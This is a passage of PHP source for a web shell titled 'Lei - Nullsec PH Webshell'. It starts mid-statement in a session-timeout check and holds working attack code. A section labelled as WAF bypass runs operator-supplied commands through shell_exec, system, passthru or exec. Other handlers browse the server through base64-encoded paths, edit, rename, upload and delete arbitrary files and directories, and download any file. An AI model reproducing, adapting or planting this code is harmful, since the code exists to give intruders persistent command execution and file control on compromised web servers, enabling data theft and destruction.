$SESSION_TIMEOUT) { session_destroy(); $logged_in = false; $key_valid = false; header("Location: " . $_SERVER['PHP_SELF']); exit; } // ============= WAF BYPASS FUNCTIONS ============= // Multi-method command execution function execute_command($cmd) { $output = []; $methods = [ 'shell_exec', 'system', 'passthru', 'exec' ]; foreach ($methods as $method) { if (function_exists($method)) { ob_start(); switch ($method) { case 'shell_exec': $result = shell_exec($cmd . ' 2>&1'); if ($result) { $output = explode("\n", trim($result)); break 2; } break; case 'system': system($cmd . ' 2>&1', $return_var); $result = ob_get_contents(); if ($result) { $output = explode("\n", trim($result)); break 2; } break; case 'passthru': passthru($cmd . ' 2>&1', $return_var); $result = ob_get_contents(); if ($result) { $output = explode("\n", trim($result)); break 2; } break; case 'exec': exec($cmd . ' 2>&1', $output, $return_var); if (!empty($output)) { break 2; } break; } ob_end_clean(); } } return $output; } // ============= FILE MANAGEMENT FUNCTIONS ============= // Get current directory $dir = isset($_GET['d']) ? base64_decode($_GET['d']) : getcwd(); $dir = str_replace('\\', '/', $dir); if (substr($dir, -1) != '/') { $dir .= '/'; } // Recursive directory delete function delete_directory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; delete_directory($dir . DIRECTORY_SEPARATOR . $item); } return rmdir($dir); } // Format file size function format_size($bytes) { if ($bytes >= 1073741824) return round($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return round($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return round($bytes / 1024, 2) . ' KB'; return $bytes . ' B'; } // Get permissions function get_perms($path) { return substr(sprintf('%o', fileperms($path)), -4); } // Handle file actions if (isset($_POST['action']) && $logged_in) { $action = $_POST['action']; $path = $_POST['path'] ?? ''; $new_name = $_POST['new_name'] ?? ''; $content = $_POST['content'] ?? ''; $msg = ''; switch ($action) { case 'delete': if (file_exists($path)) { is_dir($path) ? delete_directory($path) : unlink($path); $msg = 'Deleted: ' . basename($path); } break; case 'rename': if (rename($path, dirname($path) . '/' . $new_name)) { $msg = 'Renamed to: ' . $new_name; } break; case 'edit_save': if (file_put_contents($path, $content) !== false) { $msg = 'Saved: ' . basename($path); } break; case 'upload': if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) { $target = $dir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $msg = 'Uploaded: ' . basename($_FILES['file']['name']); } } break; case 'create_file': if (!file_exists($dir . $new_name)) { file_put_contents($dir . $new_name, ''); $msg = 'Created: ' . $new_name; } break; case 'create_dir': if (!file_exists($dir . $new_name)) { mkdir($dir . $new_name, 0755); $msg = 'Created dir: ' . $new_name; } break; } header('Location: ?d=' . base64_encode($dir) . '&msg=' . urlencode($msg)); exit; } // Handle command execution $cmd_output = []; if (isset($_POST['cmd']) && $logged_in) { $cmd_output = execute_command($_POST['cmd']); } // Handle file download if (isset($_GET['download']) && $logged_in) { $file_path = base64_decode($_GET['download']); if (file_exists($file_path) && is_file($file_path)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_path) . '"'); header('Content-Length: ' . filesize($file_path)); readfile($file_path); exit; } } // Handle file edit view if (isset($_GET['edit']) && $logged_in) { $edit_file = base64_decode($_GET['edit']); $file_content = file_exists($edit_file) ? file_get_contents($edit_file) : ''; } // Handle file rename view if (isset($_GET['rename']) && $logged_in) { $rename_file = base64_decode($_GET['rename']); } ?>

Lei - Nullsec PH Webshell